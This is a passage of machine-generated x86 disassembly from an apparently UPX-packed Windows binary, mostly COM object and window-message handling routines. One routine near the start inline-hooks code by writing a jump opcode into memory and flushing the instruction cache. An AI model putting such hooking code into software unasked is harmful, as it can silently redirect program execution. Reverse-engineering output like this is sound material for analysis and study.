; sub_406781+73p ...
arg_0 = dword ptr 4
cmp dword ptr [edi+0Ch], 0
push esi
mov esi, eax
jnz short loc_4018F0
call sub_40A906
mov [edi+0Ch], eax
test eax, eax
jz short loc_40191F
loc_4018F0: ; CODE XREF: sub_4018DB+7j
mov eax, [edi+0Ch]
mov ecx, [esp+4+arg_0]
sub esi, eax
push 0Dh
sub esi, 0Dh
push eax
mov dword ptr [eax], 42444C7h
mov [eax+4], ecx
mov byte ptr [eax+8], 0E9h
mov [eax+9], esi
call dword_41D214 ; GetCurrentProcess
push eax
call dword_41D1E0 ; FlushInstructionCache
xor eax, eax
inc eax
loc_40191F: ; CODE XREF: sub_4018DB+13j
pop esi
retn 4
sub_4018DB endp
; =============== S U B R O U T I N E =======================================
sub_401923 proc near ; DATA XREF: sub_4019F2+70o
mov eax, ecx
and dword ptr [eax], 0
and dword ptr [eax+4], 0
or dword ptr [eax+8], 0FFFFFFFFh
retn
sub_401923 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401931 proc near ; CODE XREF: sub_404E64+10p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ecx
push esi
xor esi, esi
xor eax, eax
push edi
mov edi, [ebp+arg_0]
cmp dword_42DEB0, esi
jz short loc_40194F
cmp dword_42DEB8, esi
jnz short loc_401957
loc_40194F: ; CODE XREF: sub_401931+14j
push [ebp+arg_8]
call sub_401BB2
loc_401957: ; CODE XREF: sub_401931+1Cj
cmp dword_42DEB0, esi
jz short loc_4019DC
push ebx
cmp dword_42DEB8, esi
jz short loc_4019C9
cmp [ebp+arg_4], 1
jnz short loc_4019C9
push dword ptr [edi]
call dword_41D1F0 ; lstrlenW
mov edx, dword_42DEBC
dec edx
cmp edx, esi
mov [ebp+var_8], eax
jl short loc_4019C9
mov eax, dword_42DEB8
mov ecx, edx
imul ecx, 0Ch
mov [ebp+arg_8], ecx
lea ecx, [ecx+eax+4]
mov [ebp+var_4], ecx
loc_401998: ; CODE XREF: sub_401931+96j
mov esi, [ebp+var_8]
cmp esi, [ecx]
jnz short loc_4019B7
mov ecx, [ebp+arg_8]
mov edi, [edi]
lea esi, [ecx+eax]
mov ecx, [esi+4]
mov esi, [esi]
add ecx, ecx
xor ebx, ebx
repe cmpsb
jz short loc_4019E2
mov edi, [ebp+arg_0]
loc_4019B7: ; CODE XREF: sub_401931+6Cj
mov ecx, [ebp+var_4]
sub [ebp+arg_8], 0Ch
dec edx
sub ecx, 0Ch
mov [ebp+var_4], ecx
test edx, edx
jge short loc_401998
loc_4019C9: ; CODE XREF: sub_401931+35j
; sub_401931+3Bj ...
push [ebp+arg_C]
mov eax, dword_42DEB0
push [ebp+arg_4]
mov ecx, [eax]
push edi
push eax
call dword ptr [ecx+28h]
loc_4019DB: ; CODE XREF: sub_401931+BFj
pop ebx
loc_4019DC: ; CODE XREF: sub_401931+2Cj
pop edi
pop esi
leave
retn 10h
; ---------------------------------------------------------------------------
loc_4019E2: ; CODE XREF: sub_401931+81j
mov ecx, [ebp+arg_C]
imul edx, 0Ch
mov eax, [edx+eax+8]
mov [ecx], eax
xor eax, eax
jmp short loc_4019DB
sub_401931 endp
; =============== S U B R O U T I N E =======================================
sub_4019F2 proc near ; CODE XREF: sub_401BB2+1D0p
push 18h
mov eax, offset loc_41C209
call sub_40C4A0
mov ebx, [ebp+8]
mov eax, [ebx]
lea ecx, [ebp-24h]
push ecx
push ebx
call dword ptr [eax+0Ch]
xor ecx, ecx
cmp eax, ecx
jl loc_401B5B
mov eax, [ebp-24h]
movzx eax, word ptr [eax+2Ch]
mov [ebp-1Ch], ecx
mov dword_42DEBC, eax
mov dword_42DEB8, ecx
cmp eax, ecx
jz short loc_401AAD
mov edi, eax
push 0Ch
pop edx
mul edx
mov [ebp-4], ecx
seto cl
neg ecx
or ecx, eax
xor eax, eax
add ecx, 4
setb al
neg eax
or eax, ecx
push eax
call sub_40AC06
pop ecx
mov [ebp-20h], eax
mov byte ptr [ebp-4], 1
test eax, eax
jz short loc_401A77
push offset loc_401B65
push offset sub_401923
push edi
lea esi, [eax+4]
push 0Ch
push esi
mov [eax], edi
call sub_40B306
jmp short loc_401A79
; ---------------------------------------------------------------------------
loc_401A77: ; CODE XREF: sub_4019F2+69j
xor esi, esi
loc_401A79: ; CODE XREF: sub_4019F2+83j
or dword ptr [ebp-4], 0FFFFFFFFh
mov [ebp-1Ch], esi
jmp short loc_401A8F
; ---------------------------------------------------------------------------
loc_401A82: ; DATA XREF: UPX0:00427324o
or dword ptr [ebp-4], 0FFFFFFFFh
mov eax, offset loc_401A8C
retn
; ---------------------------------------------------------------------------
loc_401A8C: ; DATA XREF: sub_4019F2+94o
mov ebx, [ebp+8]
loc_401A8F: ; CODE XREF: sub_4019F2+8Ej
cmp dword ptr [ebp-1Ch], 0
jnz short loc_401AA8
push dword ptr [ebp-24h]
mov eax, [ebx]
push ebx
call dword ptr [eax+4Ch]
mov eax, 8007000Eh
jmp loc_401B5D
; ---------------------------------------------------------------------------
loc_401AA8: ; CODE XREF: sub_4019F2+A1j
mov eax, dword_42DEBC
loc_401AAD: ; CODE XREF: sub_4019F2+3Aj
and dword ptr [ebp-18h], 0
test eax, eax
jle loc_401B4A
mov esi, [ebp-1Ch]
mov ebx, dword_41D25C
loc_401AC2: ; CODE XREF: sub_4019F2+14Fj
mov edi, [ebp+8]
mov eax, [edi]
lea ecx, [ebp-20h]
push ecx
push dword ptr [ebp-18h]
push edi
call dword ptr [eax+14h]
test eax, eax
jl short loc_401B32
xor eax, eax
mov [ebp-14h], eax
push eax
push eax
push eax
mov dword ptr [ebp-4], 3
mov ecx, [edi]
lea eax, [ebp-14h]
push eax
mov eax, [ebp-20h]
push dword ptr [eax]
push edi
call dword ptr [ecx+30h]
test eax, eax
jl short loc_401B20
mov edi, [ebp-14h]
mov eax, [esi]
and dword ptr [ebp-14h], 0
cmp eax, edi
jz short loc_401B0A
push eax
call ebx ; dword_41D25C
mov [esi], edi
loc_401B0A: ; CODE XREF: sub_4019F2+111j
push dword ptr [esi]
call dword_41D238
mov edi, [ebp+8]
mov [esi+4], eax
mov eax, [ebp-20h]
mov eax, [eax]
mov [esi+8], eax
loc_401B20: ; CODE XREF: sub_4019F2+104j
push dword ptr [ebp-20h]
mov eax, [edi]
push edi
call dword ptr [eax+50h]
or dword ptr [ebp-4], 0FFFFFFFFh
push dword ptr [ebp-14h]
call ebx ; dword_41D25C
loc_401B32: ; CODE XREF: sub_4019F2+E2j
inc dword ptr [ebp-18h]
mov eax, [ebp-18h]
add esi, 0Ch
cmp eax, dword_42DEBC
jl loc_401AC2
mov ebx, [ebp+8]
loc_401B4A: ; CODE XREF: sub_4019F2+C1j
mov eax, [ebp-1Ch]
push dword ptr [ebp-24h]
mov dword_42DEB8, eax
mov eax, [ebx]
push ebx
call dword ptr [eax+4Ch]
loc_401B5B: ; CODE XREF: sub_4019F2+1Dj
xor eax, eax
loc_401B5D: ; CODE XREF: sub_4019F2+B1j
call sub_40C50C
retn 4
; ---------------------------------------------------------------------------
loc_401B65: ; DATA XREF: sub_4019F2+6Bo
; sub_401B6E+22o
push dword ptr [ecx]
call dword_41D25C
retn
sub_4019F2 endp
; =============== S U B R O U T I N E =======================================
sub_401B6E proc near ; DATA XREF: sub_401652+49o
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jz short loc_401BAE
mov eax, [esi+0Ch]
test eax, eax
jz short loc_401B84
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_401B84: ; CODE XREF: sub_401B6E+Ej
mov eax, [esi+14h]
and dword ptr [esi+0Ch], 0
test eax, eax
jz short loc_401BAA
push edi
push offset loc_401B65
lea edi, [eax-4]
push dword ptr [edi]
push 0Ch
push eax
call sub_40B0BB
push edi
call sub_40B36B
pop ecx
pop edi
loc_401BAA: ; CODE XREF: sub_401B6E+1Fj
and dword ptr [esi+14h], 0
loc_401BAE: ; CODE XREF: sub_401B6E+7j
pop esi
retn 4
sub_401B6E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=20Ch
sub_401BB2 proc near ; CODE XREF: sub_401931+21p
; sub_404E23+1Ep ...
var_230 = dword ptr -230h
var_22C = byte ptr -22Ch
var_228 = dword ptr -228h
var_224 = dword ptr -224h
var_220 = dword ptr -220h
var_21C = dword ptr -21Ch
var_218 = dword ptr -218h
var_210 = dword ptr -210h
var_20C = byte ptr -20Ch
var_4 = dword ptr -4
push ebp
sub esp, 208h
lea ebp, [esp-4]
mov eax, dword_42A034
xor eax, ebp
mov [ebp+20Ch+var_4], eax
push 18h
mov eax, offset loc_41C315
call sub_40C46D
xor ebx, ebx
cmp dword_42DEB0, ebx
jz short loc_401BEF
cmp dword_42DEB8, ebx
jz short loc_401BEF
xor eax, eax
jmp loc_401D93
; ---------------------------------------------------------------------------
loc_401BEF: ; CODE XREF: sub_401BB2+2Cj
; sub_401BB2+34j
mov eax, dword_42EE90
add eax, 10h
mov [ebp+20Ch+var_230], eax
push eax
mov [ebp+20Ch+var_210], ebx
call dword_41D1CC ; RtlEnterCriticalSection
mov [ebp+20Ch+var_22C], 1
mov [ebp+20Ch+var_21C], 80004005h
cmp dword_42DEB0, ebx
jnz loc_401D69
mov esi, off_42DEA8
mov eax, esi
mov ecx, offset dword_42EE94
mov [ebp+20Ch+var_228], ebx
call sub_40101B
mov cx, word_42DEAC
test eax, eax
mov ax, word_42DEAE
jz short loc_401C8E
mov edx, 0FFFFh
mov edi, edx
cmp cx, di
jnz short loc_401C8E
cmp ax, dx
jnz short loc_401C8E
mov esi, 104h
push esi
lea eax, [ebp+20Ch+var_20C]
push eax
push dword_42E350
call dword_41D1FC ; GetModuleFileNameW
cmp eax, ebx
jz loc_401D6D
cmp eax, esi
jz loc_401D6D
call off_42A000
lea eax, [ebp+20Ch+var_228]
push eax
lea eax, [ebp+20Ch+var_20C]
push eax
call dword_41D240
jmp short loc_401CA7
; ---------------------------------------------------------------------------
loc_401C8E: ; CODE XREF: sub_401BB2+8Dj
; sub_401BB2+99j ...
lea edx, [ebp+20Ch+var_228]
push edx
push dword ptr [ebp+214h]
movzx eax, ax
push eax
movzx eax, cx
push eax
push esi
call dword_41D230
loc_401CA7: ; CODE XREF: sub_401BB2+DAj
mov esi, eax
cmp esi, ebx
jl loc_401D70
mov [ebp+20Ch+var_220], ebx
lea edx, [ebp+20Ch+var_220]
mov byte ptr [ebp+20Ch+var_210], 1
mov eax, [ebp+20Ch+var_228]
mov ecx, [eax]
push edx
push off_42DEA4
push eax
call dword ptr [ecx+18h]
mov esi, eax
cmp esi, ebx
jl short loc_401D4E
mov eax, [ebp+20Ch+var_220]
mov [ebp+20Ch+var_224], eax
cmp eax, ebx
jz short loc_401CE4
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
mov eax, [ebp+20Ch+var_220]
loc_401CE4: ; CODE XREF: sub_401BB2+127j
mov [ebp+20Ch+var_21C], ebx
lea edx, [ebp+20Ch+var_21C]
push edx
push offset dword_4243A4
mov byte ptr [ebp+20Ch+var_210], 3
mov ecx, [eax]
push eax
call dword ptr [ecx]
test eax, eax
jl short loc_401D0B
lea eax, [ebp+20Ch+var_21C]
push eax
lea ebx, [ebp+20Ch+var_224]
call sub_4066EE
xor ebx, ebx
loc_401D0B: ; CODE XREF: sub_401BB2+149j
mov eax, [ebp+20Ch+var_224]
mov dword_42DEB0, eax
mov eax, dword_42EE90
mov [ebp+20Ch+var_224], ebx
cmp eax, ebx
jz short loc_401D24
add eax, 4
jmp short loc_401D26
; ---------------------------------------------------------------------------
loc_401D24: ; CODE XREF: sub_401BB2+16Bj
xor eax, eax
loc_401D26: ; CODE XREF: sub_401BB2+170j
push eax
call sub_401652
mov byte ptr [ebp+20Ch+var_210], 2
mov eax, [ebp+20Ch+var_21C]
cmp eax, ebx
jz short loc_401D3D
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_401D3D: ; CODE XREF: sub_401BB2+183j
mov byte ptr [ebp+20Ch+var_210], 1
mov eax, [ebp+20Ch+var_224]
cmp eax, ebx
jz short loc_401D4E
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_401D4E: ; CODE XREF: sub_401BB2+11Dj
; sub_401BB2+194j
mov eax, [ebp+20Ch+var_228]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
mov byte ptr [ebp+20Ch+var_210], bl
mov eax, [ebp+20Ch+var_220]
cmp eax, ebx
jz short loc_401D70
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
jmp short loc_401D70
; ---------------------------------------------------------------------------
loc_401D69: ; CODE XREF: sub_401BB2+63j
xor esi, esi
jmp short loc_401D70
; ---------------------------------------------------------------------------
loc_401D6D: ; CODE XREF: sub_401BB2+B8j
; sub_401BB2+C0j
mov esi, [ebp+20Ch+var_21C]
loc_401D70: ; CODE XREF: sub_401BB2+F9j
; sub_401BB2+1ADj ...
mov eax, dword_42DEB0
cmp eax, ebx
jz short loc_401D89
cmp dword_42DEB8, ebx
jnz short loc_401D89
push eax
call sub_4019F2
mov esi, eax
loc_401D89: ; CODE XREF: sub_401BB2+1C5j
; sub_401BB2+1CDj
lea ecx, [ebp+20Ch+var_230]
call sub_4066D7
mov eax, esi
loc_401D93: ; CODE XREF: sub_401BB2+38j
mov ecx, [ebp+20Ch+var_218]
mov large fs:0, ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, [ebp+20Ch+var_4]
xor ecx, ebp
call sub_40AC1C
add ebp, 20Ch
leave
retn 4
sub_401BB2 endp
; =============== S U B R O U T I N E =======================================
sub_401DB8 proc near ; DATA XREF: UPX0:off_423F04o
; UPX0:off_423F5Co
xor eax, eax
retn 18h
sub_401DB8 endp
; =============== S U B R O U T I N E =======================================
sub_401DBD proc near ; DATA XREF: UPX0:00423F28o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_4]
xor ecx, ecx
push esi
push edi
cmp ebx, ecx
jnz short loc_401DD1
mov eax, 80004003h
jmp short loc_401DF3
; ---------------------------------------------------------------------------
loc_401DD1: ; CODE XREF: sub_401DBD+Bj
mov edi, [esp+0Ch+arg_0]
cmp [edi-20h], ecx
jnz short loc_401DEC
push ecx
mov eax, esp
mov [eax], ecx
push ecx
mov eax, esp
lea esi, [edi-24h]
mov [eax], ecx
call sub_404D0B
loc_401DEC: ; CODE XREF: sub_401DBD+1Bj
mov eax, [edi-20h]
mov [ebx], eax
xor eax, eax
loc_401DF3: ; CODE XREF: sub_401DBD+12j
pop edi
pop esi
pop ebx
retn 8
sub_401DBD endp
; =============== S U B R O U T I N E =======================================
sub_401DF9 proc near ; DATA XREF: UPX0:00423F34o
; UPX0:00423F88o
mov eax, 800401A1h
retn 8
sub_401DF9 endp
; =============== S U B R O U T I N E =======================================
sub_401E01 proc near ; DATA XREF: UPX0:00423F40o
xor eax, eax
retn 0Ch
sub_401E01 endp
; =============== S U B R O U T I N E =======================================
sub_401E06 proc near ; DATA XREF: UPX0:00423F44o
xor eax, eax
retn 10h
sub_401E06 endp
; =============== S U B R O U T I N E =======================================
sub_401E0B proc near ; DATA XREF: UPX0:00423F54o
; UPX0:00424104o
xor eax, eax
inc eax
retn 0Ch
sub_401E0B endp
; =============== S U B R O U T I N E =======================================
sub_401E11 proc near ; DATA XREF: UPX0:00423F7Co
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
mov edi, [esp+8+arg_0]
xor ecx, ecx
cmp [edi-20h], ecx
jnz short loc_401E30
push ecx
mov eax, esp
mov [eax], ecx
push ecx
mov eax, esp
lea esi, [edi-24h]
mov [eax], ecx
call sub_404D5C
loc_401E30: ; CODE XREF: sub_401E11+Bj
mov eax, [edi-20h]
mov ecx, [esp+8+arg_4]
pop edi
mov [ecx], eax
xor eax, eax
pop esi
retn 8
sub_401E11 endp
; =============== S U B R O U T I N E =======================================
sub_401E40 proc near ; DATA XREF: UPX0:00423F2Co
; UPX0:00423F30o ...
xor eax, eax
retn 8
sub_401E40 endp
; =============== S U B R O U T I N E =======================================
sub_401E45 proc near ; DATA XREF: UPX0:00423F3Co
; UPX0:00423F90o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
mov edi, [esp+8+arg_4]
add esi, 24h
cmp [esi], edi
jz short loc_401E5B
call sub_4011B4
loc_401E5B: ; CODE XREF: sub_401E45+Fj
pop edi
xor eax, eax
pop esi
retn 0Ch
sub_401E45 endp
; =============== S U B R O U T I N E =======================================
sub_401E62 proc near ; CODE XREF: sub_404EC4+42p
; sub_404F2C+42p
push 0
mov eax, offset loc_41C568
call sub_40C46D
mov esi, [ebp+8]
and dword ptr [ebp-4], 0
mov eax, [esi+48h]
test eax, eax
jz short loc_401E82
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_401E82: ; CODE XREF: sub_401E62+18j
mov eax, [esi+14h]
test eax, eax
jz short loc_401E8F
push eax
call sub_40A859
loc_401E8F: ; CODE XREF: sub_401E62+25j
lea eax, [esi+28h]
call sub_404C88
call sub_40C50C
retn 4
sub_401E62 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_401E9F proc near ; CODE XREF: sub_4057F4+1Cp
mov eax, dword_41D278
push edi
xor edi, edi
mov [esi+50h], edi
mov [esi+4], edi
mov [esi+14h], edi
mov [esi+20h], eax
mov [esi+18h], edi
mov [esi+1Ch], edi
mov [esi+3Ch], edi
mov [esi+54h], edi
mov [esi+60h], edi
mov [esi+64h], edi
mov [esi+68h], edi
mov [esi+6Ch], edi
mov [esi+70h], edi
mov [esi+74h], edi
mov [esi+78h], edi
mov [esi+7Ch], edi
mov [esi+0D8h], edi
mov [esi+0DCh], edi
mov [esi+0E8h], edi
mov eax, [esi+0C8h]
and dword ptr [esi+98h], 0FFFFFFC0h
and eax, 0FFFFFFFBh
or eax, 3
push 8
mov [esi+0C8h], eax
mov [esi+0CCh], edi
call dword_41D2A8 ; GetSysColor
and dword ptr [esi+98h], 0FFFFFFBFh
mov [esi+0D0h], eax
mov eax, [esi+0C8h]
and eax, 0FFFFFFAFh
or eax, 28h
mov [esi+0E4h], edi
mov [esi+0C8h], eax
mov [esi+58h], edi
mov [esi+0C4h], edi
mov dword ptr [esi+0D4h], 400h
mov dword ptr [esi+94h], 0CDCDCDCDh
mov dword ptr [esi+0E0h], 4
mov byte ptr [esi+5Ch], 1
mov eax, esi
pop edi
retn
sub_401E9F endp
; =============== S U B R O U T I N E =======================================
sub_401F64 proc near ; CODE XREF: sub_40587D+3Bp
; UPX0:loc_405990j ...
push esi
mov esi, eax
push dword ptr [esi+0E8h]
call dword_41D25C
mov eax, [esi+0DCh]
test eax, eax
jz short loc_401F83
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_401F83: ; CODE XREF: sub_401F64+17j
mov eax, [esi+0D8h]
test eax, eax
jz short loc_401F93
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_401F93: ; CODE XREF: sub_401F64+27j
mov eax, [esi+7Ch]
test eax, eax
jz short loc_401FA0
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_401FA0: ; CODE XREF: sub_401F64+34j
mov eax, [esi+78h]
test eax, eax
jz short loc_401FAD
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_401FAD: ; CODE XREF: sub_401F64+41j
mov eax, [esi+74h]
test eax, eax
jz short loc_401FBA
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_401FBA: ; CODE XREF: sub_401F64+4Ej
mov eax, [esi+70h]
test eax, eax
jz short loc_401FC7
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_401FC7: ; CODE XREF: sub_401F64+5Bj
mov eax, [esi+6Ch]
test eax, eax
jz short loc_401FD4
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_401FD4: ; CODE XREF: sub_401F64+68j
mov eax, [esi+68h]
test eax, eax
jz short loc_401FE1
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_401FE1: ; CODE XREF: sub_401F64+75j
mov eax, [esi+64h]
test eax, eax
jz short loc_401FEE
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_401FEE: ; CODE XREF: sub_401F64+82j
mov eax, [esi+60h]
test eax, eax
jz short loc_401FFB
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_401FFB: ; CODE XREF: sub_401F64+8Fj
mov eax, [esi+54h]
test eax, eax
jz short loc_402008
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_402008: ; CODE XREF: sub_401F64+9Cj
mov eax, [esi+3Ch]
test eax, eax
jz short loc_402015
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_402015: ; CODE XREF: sub_401F64+A9j
mov esi, [esi+14h]
test esi, esi
jz short loc_402022
push esi
call sub_40A859
loc_402022: ; CODE XREF: sub_401F64+B6j
pop esi
retn
sub_401F64 endp
; =============== S U B R O U T I N E =======================================
sub_402024 proc near ; DATA XREF: UPX0:00424004o
mov eax, [ecx]
call dword ptr [eax+10h]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
retn 4
sub_402024 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402032 proc near ; DATA XREF: UPX0:off_423FF8o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
and esp, 0FFFFFFF8h
sub esp, 0Ch
push ebx
push esi
push edi
mov edi, ecx
xor ecx, ecx
cmp [ebp+arg_14], ecx
jnz loc_40245C
mov eax, [ebp+arg_4]
cmp eax, 14h
jnz short loc_402073
xor esi, esi
inc esi
mov eax, esi
cmp [edi+70h], ecx
jnz short loc_40205F
xor eax, eax
loc_40205F: ; CODE XREF: sub_402032+29j
mov ebx, [ebp+arg_10]
mov [ebx], esi
cmp eax, ecx
jz loc_4020F1
loc_40206C: ; CODE XREF: sub_402032+161j
; sub_402032+1B1j ...
mov eax, esi
jmp loc_40245E
; ---------------------------------------------------------------------------
loc_402073: ; CODE XREF: sub_402032+1Fj
cmp eax, 0Fh
jnz short loc_4020A4
lea eax, [esp+18h+var_C]
push eax
mov esi, edi
mov [esp+1Ch+var_C], 1
call sub_402874
loc_40208C: ; CODE XREF: sub_402032+8Ej
cmp [esp+18h+var_C], 0
mov ecx, [ebp+arg_10]
mov [ecx], eax
jz loc_40223D
loc_40209C: ; CODE XREF: sub_402032+B7j
; sub_402032+3D8j
xor eax, eax
inc eax
jmp loc_40245E
; ---------------------------------------------------------------------------
loc_4020A4: ; CODE XREF: sub_402032+44j
cmp eax, 5
jnz short loc_4020C2
mov ecx, [ebp+arg_C]
lea eax, [esp+18h+var_C]
push eax
mov ebx, edi
mov [esp+1Ch+var_C], 1
call sub_402768
jmp short loc_40208C
; ---------------------------------------------------------------------------
loc_4020C2: ; CODE XREF: sub_402032+75j
cmp eax, 21h
jnz loc_4021E8
lea eax, [esp+18h+var_C]
push eax
mov ecx, edi
mov [esp+1Ch+var_C], 1
call sub_402623
loc_4020DF: ; CODE XREF: sub_402032+1DDj
; sub_402032+1E8j
cmp [esp+18h+var_C], 0
mov ecx, [ebp+arg_10]
mov [ecx], eax
jnz short loc_40209C
xor esi, esi
loc_4020ED: ; CODE XREF: sub_402032+1F2j
mov ebx, [ebp+arg_10]
loc_4020F0: ; CODE XREF: sub_402032+206j
; sub_402032+20Fj
inc esi
loc_4020F1: ; CODE XREF: sub_402032+34j
mov eax, [edi+98h]
mov ecx, [ebp+arg_4]
test al, 8
jz loc_40219C
lea edx, [ecx-200h]
cmp edx, 0Dh
ja loc_40219C
and al, 10h
movzx eax, al
neg eax
sbb eax, eax
and eax, 3
mov [esp+18h+var_4], eax
jnz short loc_402163
mov eax, [edi+70h]
test eax, eax
jz short loc_40219C
movsx ecx, word ptr [ebp+arg_C]
mov [esp+18h+var_C], ecx
mov ecx, [ebp+arg_C]
shr ecx, 10h
movsx ecx, cx
lea edx, [esp+18h+var_4]
push edx
push 0
mov [esp+20h+var_8], ecx
push [esp+20h+var_8]
mov ecx, [eax]
push [esp+24h+var_C]
lea edx, [edi+0B4h]
push edx
push esi
push eax
call dword ptr [ecx+30h]
mov eax, [esp+18h+var_4]
mov ecx, [ebp+arg_4]
loc_402163: ; CODE XREF: sub_402032+EFj
cmp eax, 3
jnz short loc_40219C
mov eax, 200h
cmp ecx, eax
jnz loc_402246
loc_402175: ; CODE XREF: sub_402032+21Bj
; sub_402032+226j ...
lea ecx, [esp+18h+var_C]
push ecx
push [ebp+arg_C]
push [ebp+arg_8]
push eax
loc_402181: ; CODE XREF: sub_402032+28Cj
mov ecx, edi
mov [esp+28h+var_C], esi
call sub_402837
cmp [esp+18h+var_C], 0
mov [ebx], eax
jnz loc_40206C
mov ecx, [ebp+arg_4]
loc_40219C: ; CODE XREF: sub_402032+CAj
; sub_402032+D9j ...
mov eax, [edi+98h]
mov edx, eax
shr edx, 2
and edx, eax
test dl, 8
jz loc_4023B3
mov eax, 100h
cmp ecx, eax
jnz loc_4022C3
loc_4021BF: ; CODE XREF: sub_402032+298j
; sub_402032+2A1j ...
lea ecx, [esp+18h+var_C]
push ecx
push [ebp+arg_C]
push [ebp+arg_8]
push eax
loc_4021CB: ; CODE XREF: sub_402032+2E6j
; sub_402032+2FCj ...
mov ecx, edi
mov [esp+28h+var_C], esi
call sub_4027F5
cmp [esp+18h+var_C], 0
mov [ebx], eax
jz loc_4023E3
jmp loc_40206C
; ---------------------------------------------------------------------------
loc_4021E8: ; CODE XREF: sub_402032+93j
cmp eax, 7
jnz short loc_40221F
lea eax, [edi+98h]
or dword ptr [eax], 20h
test byte ptr [eax], 40h
mov [esp+18h+var_C], 1
jnz short loc_402214
lea eax, [esp+18h+var_C]
push eax
mov esi, edi
call sub_4026BE
jmp loc_4020DF
; ---------------------------------------------------------------------------
loc_402214: ; CODE XREF: sub_402032+1CFj
mov [esp+18h+var_C], ecx
xor eax, eax
jmp loc_4020DF
; ---------------------------------------------------------------------------
loc_40221F: ; CODE XREF: sub_402032+1B9j
xor esi, esi
cmp eax, 8
jnz loc_4020ED
mov eax, [ebp+arg_10]
and dword ptr [edi+98h], 0FFFFFFDFh
mov [eax], ecx
mov ebx, eax
jmp loc_4020F0
; ---------------------------------------------------------------------------
loc_40223D: ; CODE XREF: sub_402032+64j
mov ebx, ecx
xor esi, esi
jmp loc_4020F0
; ---------------------------------------------------------------------------
loc_402246: ; CODE XREF: sub_402032+13Dj
mov eax, 202h
cmp ecx, eax
jz loc_402175
add eax, 3
cmp ecx, eax
jz loc_402175
mov eax, 208h
cmp ecx, eax
jz loc_402175
add eax, 0FFFFFFF9h
cmp ecx, eax
jz loc_402175
mov eax, 204h
cmp ecx, eax
jz loc_402175
add eax, 3
cmp ecx, eax
jz loc_402175
mov eax, 203h
cmp ecx, eax
jz loc_402175
add eax, 3
cmp ecx, eax
jz loc_402175
cmp ecx, 209h
jnz loc_40219C
lea eax, [esp+18h+var_C]
push eax
push [ebp+arg_C]
push [ebp+arg_8]
push ecx
jmp loc_402181
; ---------------------------------------------------------------------------
loc_4022C3: ; CODE XREF: sub_402032+187j
mov eax, 101h
cmp ecx, eax
jz loc_4021BF
inc eax
cmp ecx, eax
jz loc_4021BF
mov eax, 103h
cmp ecx, eax
jz loc_4021BF
inc eax
cmp ecx, eax
jz loc_4021BF
mov eax, 105h
cmp ecx, eax
jz loc_4021BF
add eax, 2
cmp ecx, eax
jz loc_4021BF
cmp ecx, 53h
jnz short loc_40231D
lea eax, [esp+18h+var_C]
push eax
push [ebp+arg_C]
push [ebp+arg_8]
push ecx
jmp loc_4021CB
; ---------------------------------------------------------------------------
loc_40231D: ; CODE XREF: sub_402032+2D8j
cmp ecx, 1Fh
jnz short loc_402333
lea eax, [esp+18h+var_C]
push eax
push [ebp+arg_C]
push [ebp+arg_8]
push ecx
jmp loc_4021CB
; ---------------------------------------------------------------------------
loc_402333: ; CODE XREF: sub_402032+2EEj
mov eax, 286h
cmp ecx, eax
jnz short loc_402361
lea ecx, [esp+18h+var_C]
push ecx
push [ebp+arg_C]
mov ecx, edi
push [ebp+arg_8]
mov [esp+24h+var_C], esi
push eax
call sub_4027F5
cmp [esp+18h+var_C], 0
mov [ebx], eax
jz short loc_40238A
jmp loc_40206C
; ---------------------------------------------------------------------------
loc_402361: ; CODE XREF: sub_402032+308j
cmp ecx, 209h
jnz short loc_40237A
lea eax, [esp+18h+var_C]
push eax
push [ebp+arg_C]
push [ebp+arg_8]
push ecx
jmp loc_4021CB
; ---------------------------------------------------------------------------
loc_40237A: ; CODE XREF: sub_402032+335j
cmp ecx, 281h
jb short loc_4023B3
cmp ecx, 291h
ja short loc_4023B3
loc_40238A: ; CODE XREF: sub_402032+328j
lea eax, [esp+18h+var_C]
push eax
push [ebp+arg_C]
mov ecx, edi
push [ebp+arg_8]
mov [esp+24h+var_C], esi
push [ebp+arg_4]
call sub_4027F5
cmp [esp+18h+var_C], 0
mov [ebx], eax
jnz loc_40206C
mov ecx, [ebp+arg_4]
loc_4023B3: ; CODE XREF: sub_402032+17Aj
; sub_402032+34Ej ...
cmp ecx, 2
jnz short loc_4023E3
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+10h]
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
push [ebp+arg_C]
push [ebp+arg_8]
push 2
push dword ptr [edi+4]
push dword ptr [edi+20h]
